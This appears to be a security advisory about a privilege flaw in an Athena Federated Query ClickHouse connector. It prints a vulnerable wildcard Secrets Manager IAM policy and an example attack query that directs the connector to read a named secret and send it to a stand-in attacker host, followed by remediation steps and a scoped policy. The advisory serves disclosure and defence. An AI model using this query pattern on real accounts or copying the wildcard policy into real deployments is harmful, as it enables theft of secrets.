Executive Summary: Cloud Federation IAM Boundaries Compromised

In an important cloud infrastructure security disclosure published under AWS Security Bulletin 2026-084-AWS, Amazon Web Services detailed a high-severity privilege assignment vulnerability—cataloged as CVE-2026-75910 with a CVSS v3.1 score of 7.1—affecting the Amazon Athena Federated Query ClickHouse connector.

Amazon Athena Federated Query allows organizations to execute SQL queries across distributed data stores, spanning relational databases, object storage, and non-relational engines. To authenticate against external database clusters such as ClickHouse, Athena deploys dedicated AWS Lambda connector functions that retrieve connection strings and database credentials stored in AWS Secrets Manager.

The security defect originates from incorrect privilege assignment (CWE-269) within the official AWS Serverless Application Model (SAM) and CloudFormation templates utilized to provision the connector. Because the generated IAM execution role lacked resource-level filtering, authenticated database users can manipulate query connection strings to access arbitrary, unrelated secrets across the entire AWS account.

Technical Dissection: Insecure IAM Scoping & Secret Relaying

When an organization deploys the Athena ClickHouse connector from the AWS Serverless Application Repository, the CloudFormation template automatically provisions an IAM execution role for the underlying Lambda function.

1. The Overly Permissive CloudFormation Policy

In connector releases prior to v2026.17.1, if the administrator deployed the connector without explicitly defining an optional SecretNamePrefix parameter, the CloudFormation template defaulted to granting wildcard read permissions across Secrets Manager: 

# Vulnerable IAM Policy snippet generated by Athena ClickHouse SAM template
Type: AWS::IAM::Policy
Properties:
  PolicyName: AthenaClickHouseSecretsAccess
  PolicyDocument:
    Statement:
      - Effect: Allow
        Action:
          - secretsmanager:GetSecretValue
        # Insecure: Wildcard resource allows access to ANY secret in the account!
        Resource: 'arn:aws:secretsmanager:*:*:secret:*'

Because the Lambda function held ambient authority to read every secret in the account, an authenticated Athena user with query execution permissions could supply a crafted connection string referencing an arbitrary secret (e.g., secret:prod/corporate/master-api-key) alongside an attacker-controlled external ClickHouse database endpoint: 

-- Attacker query directing Athena connector to exfiltrate unrelated secrets
SELECT * FROM "clickhouse_catalog"."default"."dummy_table" 
/* Connection String Override:
   host=attacker-clickhouse.c2-domain.com;
   secret=arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/stripe/api-token-xyz;
*/

When Athena processes the query, the Lambda connector retrieves the specified Stripe API token from Secrets Manager and attempts to connect to attacker-clickhouse.c2-domain.com, transmitting the secret in connection handshake packets directly to the adversary's logging server.

Blast Radius & Exposure Matrix

Parameter Vulnerability Specification Enterprise Risk Assessment
CVE Identifier CVE-2026-75910 Documented in AWS Bulletin 2026-084-AWS
Vulnerability Class CWE-269 (Improper Privilege Handling) / CWE-284 Arbitrary AWS Secrets Manager exfiltration
CVSS v3.1 Score 7.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Cross-secret access within deploying AWS account
Affected Component Athena Federated Query ClickHouse Connector (< v2026.17.1) Cloud data platforms and federated query environments
Remediated Version ClickHouse Connector v2026.17.1 Mandatory upgrade enforcing strict SecretNamePrefix boundaries

Defensive Playbook: IAM Scoping & Connector Remediation

Cloud security architects, data platform engineers, and AWS administrators must take the following corrective measures:

1. Upgrade Connector to v2026.17.1

Redeploy the Athena ClickHouse connector using the latest version from the AWS Serverless Application Repository, ensuring the SecretNamePrefix parameter is explicitly specified: 

# AWS CLI: Redeploy Athena ClickHouse Connector with Restricted Secret Scope
aws serverlessrepo create-cloud-formation-change-set     --application-id arn:aws:serverlessrepo:us-east-1:292517598671:applications/AthenaClickHouseConnector     --semantic-version 2026.17.1     --stack-name AthenaClickHouseConnector     --parameter-overrides Name=SecretNamePrefix,Value=athena-clickhouse-

2. Audit Secrets Manager IAM Policies

Review all IAM roles associated with Athena Lambda connectors to ensure least privilege access is strictly enforced: 

# Corrected IAM Policy restricting access strictly to connector-specific secrets
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "secretsmanager:GetSecretValue",
      "Resource": "arn:aws:secretsmanager:*:*:secret:athena-clickhouse-*"
    }
  ]
}

Actionable Checklist for Cloud Security Teams

  • Enforce Naming Conventions: Mandate that database connection secrets follow dedicated prefixes (e.g., athena-connectors/*) isolated from master application secrets.
  • Monitor Outbound Network Egress: Deploy Athena connector Lambda functions inside VPC subnets with strict egress security groups that block arbitrary internet destinations.
  • Enable CloudTrail Data Events: Log Secrets Manager GetSecretValue API calls and configure alerts for requests originating from unexpected IAM role sessions.